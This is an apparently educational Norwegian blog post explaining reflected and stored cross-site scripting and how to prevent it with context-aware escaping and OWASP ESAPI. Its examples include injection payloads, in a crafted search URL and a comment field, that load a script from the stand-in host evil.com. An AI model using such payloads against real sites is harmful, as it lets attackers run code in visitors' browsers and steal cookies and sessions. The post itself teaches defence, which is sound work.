Cross-site scripting

Cross-Site Scripting (XSS) svakheter er en av de vanligste sikkerhetsfeilene i webapplikasjoner. XSS er rangert som nummer 2 i OWASP top 10, rett etter injection-feil. Svakheten kan oppstå alle steder der bruker-input presenteres tilbake til brukerene uten at det valideres eller escapes.

Ved å utnytte slike svakheter, kan en angriper stjele vilkårlige data, brukernavn, passord, cookies etc., fra brukere, eller lage ormer som sprer seg gjennom nettsiden. XSS-svakheter kan brukes som et startpunkt for mer avanserte angrep som utnytter feil i nettlesere eller plugins til å ta kontroll over brukerens datamaskin. Dette kan medføre at angriperen tar kontroll over brukerens datamaskin eller på andre måter utfører handlinger på vegne av andre brukere – for eksempel ved hjelp av CSRF, som beskrives i en senere post i sikkerhetsserien.

Hva er XSS?

Ved Cross-Site Scripting angrep utnytter angriperen en svakhet i webapplikasjonen som gjør det mulig å injisere vilkårlig kode som kjøres i brukerens nettleser. Det er mest vanlig at dette er JavaScript, men det kan også være HTML, Flash eller annen kode som kan eksekveres av nettleseren. Scriptet opptrer som en del av den siden koden blir injisert i og har derfor tilgang til cookies, session-tokens og annen informasjon som nettleseren bruker innenfor det angrepne nettstedet.

Hvordan utføres XSS?

Det finnes to varianter av XSS, Stored og Reflected XSS.

Reflected XSS kan skje når bruker-input sendes tilbake til brukeren fra request-parameterene i URLen. Eksempelvis kan en lenke med script sendes til offeret via e-post. Når offeret klikker på lenken presenteres den aktuelle siden for brukeren samtidig som scriptet kjøres. Dette scriptet kan endre siden eller utføre andre handlinger som offeret ikke ønsker, som å sende cookie-verdier eller annen informasjon til angriperen.

Vi har en side med et enkelt søkefelt:

<input name="search"/>

der søkeparameteren er inkludert i URLen:

www.eksempel.no/?search=Cross+Site+Scripting

Denne parameteren skrives rett ut i søkeresultat-siden:

 <input name="search" value="Cross Site Scripting"/>

En angriper kan unytte dette ved å legge til et script i tillegg til det forventede søkeordet, og sende dette som en link til et offer:

www.eksempel.no/?search=Cross+Site+Scripting"/><script+src="http://evil.com/evil.js"></script>

I dette tilfellet blir resultatet som følger:

<input name="search" value="Cross Site Scripting"/><script src="http://evil.com/evil.js"></script>"/>

der angriperen har lagt til en script-tag som peker på et skadelig script.

Hvis parameteret ikke valideres eller escapes før det skrives ut i siden, vi dette scriptet kjøre som en del av den originale siden.

Ved Stored XSS lagres den injiserte koden, og den vil presenteres for alle brukere som forespør denne informasjonen. For en angriper et er vanlig å se etter steder å injisere koden et sted der det er sannsynlig at mange brukere vil kjøre koden. Eksempler på dette er forumer, kommentarfelter elller liknende. Da vil den injiserte koden kjøres i nettleseren til alle brukere som aksesserer denne siden.

I motsetning til forrige eksempel er målet med dette angrepet å treffe alle brukerne av en nettside. I dette tilfellet har vi eksempelvis et kommentarfelt der input fra brukeren ikke valideres eller escapes.

Angriperen kan skrive inn følgende i kommentarfeltet:

<script src="http://evil.com/evil.js"></script>

Hvis dette ikke valideres eller escapes vil det skrives tilbake til alle brukere og scriptet vil kjøres i nettleseren for alle brukere av siden som kan se kommentaren.

Hvordan unngå XSS-angrep?

Det beste tipset er å bruke webrammeverket sin innebygde mekanisme for å escape alt dynamisk innhold som vises til brukeren.

Man unngår problemet ved å escape input riktig i forhold til konteksten der data skrives ut. Artikkelen Cross Site Scripting prevention cheat sheet definerer åtte forskjellige kontekster, som hver må escapes på sin måte. Input må for eksempel escapes på forskjellige måte avhengig av om den skal skrives ut som en del av et html-atributt, mellom html-attributter, som en del av en url eller som innhold i en JavaScript variabel.

Husk at disse reglene også gjelder når man gjør endringer i siden med JavaScript (f.eks. med jQuery).

  • Ikke sett inn data utenfor tillatte lokasjoner.
    Ikke sett inn data du ikke stoler på direkte i script, HTML-kommentarer, attributtnavn eller tagnavn.
  • Bruk HTML-encoding når data legges inn mellom HTML-tagger
    For eksempel bør følgende tegn erstattes: 

    & --> &amp;
    < --> &lt;
    > --> &gt;
     " --> &quot;
     ' --> &#x27;
     / --> &#x2F;
  • Bruk HTML-attributt-encoding når data skrives i HTML-attributter
  • Bruk JavaScript-escaping når data skrives som innhold i JavaScript strenger (alle ikke-alfanumeriske tegn escapes med hex- eller unicode-escaping)
  • Bruk CSS-escaping når data skrives som innhold i CSS
  • Bruk URL-escaping når data skrives som en del av en URL

Da de fleste webrammeverks innebygde mekanisme for å escape innhold ikke nødvendigvis har støtte for alle de nevnte kontekstene bør dette undersøkes. I de kontekstene der det ikke er støtte bør man velge andre måter å escape på. Det finnes biblioteker som kan hjelpe med escaping i de fleste av de nevnte tilfellene, som for eksempel OWASP ESAPI.

String safe = ESAPI.encoder().encodeForHTMLAttribute( request.getParameter( "input" ) );

Ressurser

  1. http://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet